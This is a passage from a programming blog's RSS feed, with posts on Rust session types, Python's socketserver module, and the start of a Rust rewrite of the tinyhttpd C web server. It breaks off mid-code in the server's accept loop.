&lt;/span&gt;contents: String =&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Here is some MORE data.&amp;#34;&lt;/span&gt;.into();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;OpenPackage::pack(contents);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;closed_package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.close();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// We now can&amp;#39;t unpack the package to get to its contents. This is an error:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// let contents = closed_package.unpack();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// because ClosedPackage doesn&amp;#39;t have .unpack()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Also, package is no longer valid, so no duplication can occur.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Finally, we can&amp;#39;t send_package() this package; we have to address it.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;addressed_package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;closed_package.address(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;6902 East Pass, Madison, WI&amp;#34;&lt;/span&gt;.into());&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Now we can send the package.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{:?}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;send_package(addressed_package));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This ends up printing out:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;$&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;./session_types&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Put&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;some&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;unpacked.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Here&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;is&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;some&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Put&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;some&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;in&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;closed.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Addressed&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;a&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;closed&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;package.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;received.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;opened.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Package&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;unpacked.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Destination&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;received: Here&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;is&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;some&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MORE&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;data.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ok(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Sent package to 6902 East Pass, Madison, WI&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the real world, the Rust crate &lt;a href=&#34;https://crates.io/crates/hyper&#34;&gt;hyper&lt;/a&gt; makes heavy use of session types to ensure the integrity of HTTP requests and responses.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>socketserver: the Python networking module you didn&#39;t know you needed</title>
      <link>https://nora.codes/tutorial/socketserver-the-python-networking-module-you-didnt-know-you-needed/</link>
      <pubDate>Sat, 24 Dec 2016 05:04:24 +0000</pubDate>
      <guid>https://nora.codes/tutorial/socketserver-the-python-networking-module-you-didnt-know-you-needed/</guid>
      <description>&lt;p&gt;I occasionally spend time randomly surfing the Python standard library docs; there is a lot of useful functionality included in the language&amp;rsquo;s standard distribution, such as, for instance, the &lt;a href=&#34;https://docs.python.org/3/library/socketserver.html&#34;&gt;&lt;code&gt;socketserver&lt;/code&gt;&lt;/a&gt; module, which I didn&amp;rsquo;t know about until this evening and which is one of the most useful I&amp;rsquo;ve seen in a while. As ever, the docs are straightforward in their self-description:&lt;/p&gt;&#xA;&lt;blockquote&gt;The `socketserver` module simplifies the task of writing network servers.&lt;/blockquote&gt;&#xA;&lt;p&gt;This is something of an understatement. To demonstrate this, here is a simple CaaS (capitalization as a service) server written with &lt;code&gt;socketserver&lt;/code&gt; and one with &lt;code&gt;socket&lt;/code&gt;:&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I occasionally spend time randomly surfing the Python standard library docs; there is a lot of useful functionality included in the language&amp;rsquo;s standard distribution, such as, for instance, the &lt;a href=&#34;https://docs.python.org/3/library/socketserver.html&#34;&gt;&lt;code&gt;socketserver&lt;/code&gt;&lt;/a&gt; module, which I didn&amp;rsquo;t know about until this evening and which is one of the most useful I&amp;rsquo;ve seen in a while. As ever, the docs are straightforward in their self-description:&lt;/p&gt;&#xA;&lt;blockquote&gt;The `socketserver` module simplifies the task of writing network servers.&lt;/blockquote&gt;&#xA;&lt;p&gt;This is something of an understatement. To demonstrate this, here is a simple CaaS (capitalization as a service) server written with &lt;code&gt;socketserver&lt;/code&gt; and one with &lt;code&gt;socket&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; socket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;with&lt;/span&gt; socket.socket(socket.AF_INET, socket.SOCK_STREAM) &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt; s:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s.bind((&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#00f&#34;&gt;50006&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s.listen(&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    conn, addr = s.accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;with&lt;/span&gt; conn:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            data = conn.recv(&lt;span style=&#34;color:#00f&#34;&gt;1024&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;font-weight:bold&#34;&gt;not&lt;/span&gt; data: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            conn.sendall(data.upper())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And here is the same functionality with &lt;code&gt;socketserver&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; socketserver&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;class&lt;/span&gt; CaaSHandler(socketserver.StreamRequestHandler):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; handle(self):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        data = self.rfile.readline()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        self.wfile.write(data.upper())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; __name__ == &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server = socketserver.TCPServer((&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#00f&#34;&gt;50007&lt;/span&gt;), CaaSHandler)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server.serve_forever()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Both of these take connections synchronously and sequentially, capitalize the data they recieve, and return it. The main difference is that the &lt;code&gt;socketserver&lt;/code&gt; version can accept as much data as there is memory, while the &lt;code&gt;socket&lt;/code&gt; version can accept only a limited amount (1024 bytes in this example).&lt;/p&gt;&#xA;&lt;p&gt;This is because &lt;code&gt;socketserver&lt;/code&gt;&amp;rsquo;s &lt;code&gt;StreamRequestHandler&lt;/code&gt; provides the file-like objects &lt;code&gt;rfile&lt;/code&gt; and &lt;code&gt;wfile&lt;/code&gt; which expose all the normal luxuries of Python 3 files, like &lt;code&gt;readline&lt;/code&gt; and &lt;code&gt;read&lt;/code&gt;. The parent class of the handler you write will deal with setting the buffer size, looping until a newline or EOF is encountered, and dealing with client-first and server-first protocols. We could just as easily add a welcome message/prompt to the program; just make the &lt;code&gt;CaaSHandler&lt;/code&gt; class look like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;class&lt;/span&gt; CaaSHandler(socketserver.StreamRequestHandler):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; handle(self):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        self.wfile.write(&lt;span style=&#34;color:#00f&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Enter some data to be capitalized:&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        data = self.rfile.readline()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        self.wfile.write(data.upper())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;without any changes to the client&amp;rsquo;s behavior. Adding that functionality in the &lt;code&gt;socket&lt;/code&gt; version is somewhat nontrivial; how, for instance, one would handle both clients that expect to send data first and clients that expect to receive it first is less than obvious.&lt;/p&gt;&#xA;&lt;p&gt;The second useful facility that &lt;code&gt;socketserver&lt;/code&gt; provides is the &lt;code&gt;xxxServer&lt;/code&gt; classes. I use &lt;code&gt;TCPServer&lt;/code&gt; here, to which I passed a tuple of &lt;code&gt;(hostname, portnumber)&lt;/code&gt; and the name of my handler class,&lt;code&gt; CaaSHandler.&lt;/code&gt; I could also have used &lt;code&gt;UDPServer&lt;/code&gt; for datagrams or &lt;code&gt;UnixStreamServer&lt;/code&gt;/&lt;code&gt;UnixDatagramServer &lt;/code&gt;for &lt;a href=&#34;https://en.wikipedia.org/wiki/Unix_domain_socket&#34;&gt;Unix sockets&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;socketserver&lt;/code&gt; module also provides mixins for threading and forking servers, which makes writing asynchronous network services much less painful than using &lt;code&gt;socket&lt;/code&gt; and &lt;code&gt;threading&lt;/code&gt; or even &lt;code&gt;asyncio&lt;/code&gt;.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Rewriting tinyhttpd in Rust, Part One</title>
      <link>https://nora.codes/post/rewriting-tinyhttpd-in-rust-part-one/</link>
      <pubDate>Fri, 21 Oct 2016 14:07:09 +0000</pubDate>
      <guid>https://nora.codes/post/rewriting-tinyhttpd-in-rust-part-one/</guid>
      <description>&lt;p&gt;In 1999, J. David Blackstone, or, as he is known online, &lt;a href=&#34;https://slashdot.org/~jdavidb&#34;&gt;jdavidb&lt;/a&gt;, was taking CSE 4344 (Network Concepts) at UT Arlington. Those were the glory days of Sparc Solaris, and Blackstone wrote, for his college course, a C program called &lt;strong&gt;tinyhttpd&lt;/strong&gt;. It is, essentially, a very short version of the immensely complex programs that seem run the world these days: web servers. Unlike the million-line behemoths (think Apache, nginx, et cetera), tinyhttpd is a HTTP 1.1 web server in 532 lines of well-commented C.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;In 1999, J. David Blackstone, or, as he is known online, &lt;a href=&#34;https://slashdot.org/~jdavidb&#34;&gt;jdavidb&lt;/a&gt;, was taking CSE 4344 (Network Concepts) at UT Arlington. Those were the glory days of Sparc Solaris, and Blackstone wrote, for his college course, a C program called &lt;strong&gt;tinyhttpd&lt;/strong&gt;. It is, essentially, a very short version of the immensely complex programs that seem run the world these days: web servers. Unlike the million-line behemoths (think Apache, nginx, et cetera), tinyhttpd is a HTTP 1.1 web server in 532 lines of well-commented C.&lt;/p&gt;&#xA;&lt;p&gt;HTTP 1.1 is a ubuqitously supported protocol that is useful for a great many applications, and in this modern era of embedded (a.k.a &amp;ldquo;Internet of Things&amp;rdquo;) computing applications, small web servers have never been more important.&lt;/p&gt;&#xA;&lt;p&gt;This program is also a small, manageable example of a legacy application - an old program written for an obsolete operating system that still gets the job done, but exposes any organization using it to not only the cost of maintaining ancient operating systems and hardware, but also to the risk of the security vulnerabilities present in tinyhttpd itself and the software it needs to run.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of these posts, I&amp;rsquo;ll be looking at tinyhttpd from the perspective of a company that uses it internally, and wants to transition to a more modular, portable, and maintainable design, rather than one which either ships it as a product or buys it as a product from another company and wants to replace it; these situations are similar, but have additional challenges.&lt;/p&gt;&#xA;&lt;p&gt;The first thing to do is to analyze the existing source. I&amp;rsquo;ve gone ahead and created a GitHub repository to host both the old and new source code, and I&amp;rsquo;ll link to specific commits in these posts. For instance, &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/tree/af6ea072d72d8f86f0648d98eef9e1fb80782479/legacy&#34;&gt;here&lt;/a&gt; is the commit with nothing but the unmodified source of the legacy app.&lt;/p&gt;&#xA;&lt;p&gt;The first thing to do is to build the existing app. In order not to clutter the repository with object files, I &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/08c890d28bac42c04988d8d75ad46ac79b6414f1&#34;&gt;created a .gitignore file&lt;/a&gt; from GitHub&amp;rsquo;s default C gitignores. Now all I have to do is run &lt;code&gt;make&lt;/code&gt;, right?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;11:32:58: nora [~/Projects/rtinyhttpd/legacy]&#xA;$ make&#xA;gcc -W -Wall -lpthread -o httpd httpd.c&#xA;/tmp/ccbqEOVd.o: In function `main&#39;:&#xA;httpd.c:(.text+0x1a85): undefined reference to `pthread_create&#39;&#xA;collect2: error: ld returned 1 exit status&#xA;Makefile:4: recipe for target &#39;httpd&#39; failed&#xA;make: *** [httpd] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What&amp;rsquo;s this, it doesn&amp;rsquo;t compile? Well, you&amp;rsquo;ll remember I mentioned it was written for an ancient version of Sparc Solaris - that&amp;rsquo;s the whole reason we&amp;rsquo;re rewriting it. Luckily, the original author anticipated this. Looking at &lt;code&gt;legacy/httpd.c&lt;/code&gt; (where the error is), I see this comment at the top:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* This program compiles for Sparc Solaris 2.6.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * To compile for Linux:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 1) Comment out the #include &amp;lt;pthread.h&amp;gt; line.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 2) Comment out the line that defines the variable newthread.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 3) Comment out the two lines that run pthread_create().&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 4) Uncomment the line that runs accept_request().&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 5) Remove -lsocket from the Makefile.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I made a note of this in my analysis folder and &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/a1ae783977550ce4752243f34513a7c855f27492&#34;&gt;made those changes&lt;/a&gt; - except that they didn&amp;rsquo;t apply. The makefile didn&amp;rsquo;t have &lt;code&gt;-lsocket&lt;/code&gt;, and there was only one occurrence of &lt;code&gt;pthread_create&lt;/code&gt;. They did make the app build, but it didn&amp;rsquo;t work!&lt;/p&gt;&#xA;&lt;p&gt;In order to figure out what&amp;rsquo;s happening, I looked up &lt;code&gt;pthread_create&lt;/code&gt; on man7.org. It&amp;rsquo;s part of the POSIX threading API, and it is definitely available on Linux. Furthermore, if we look at the main() function, we can see why commenting out those lines caused a problem - it&amp;rsquo;s an infinite loop that does nothing but accept connections!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    client_sock = accept(server_sock, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; sockaddr *)&amp;amp;client_name, &amp;amp;client_name_len);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (client_sock == -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    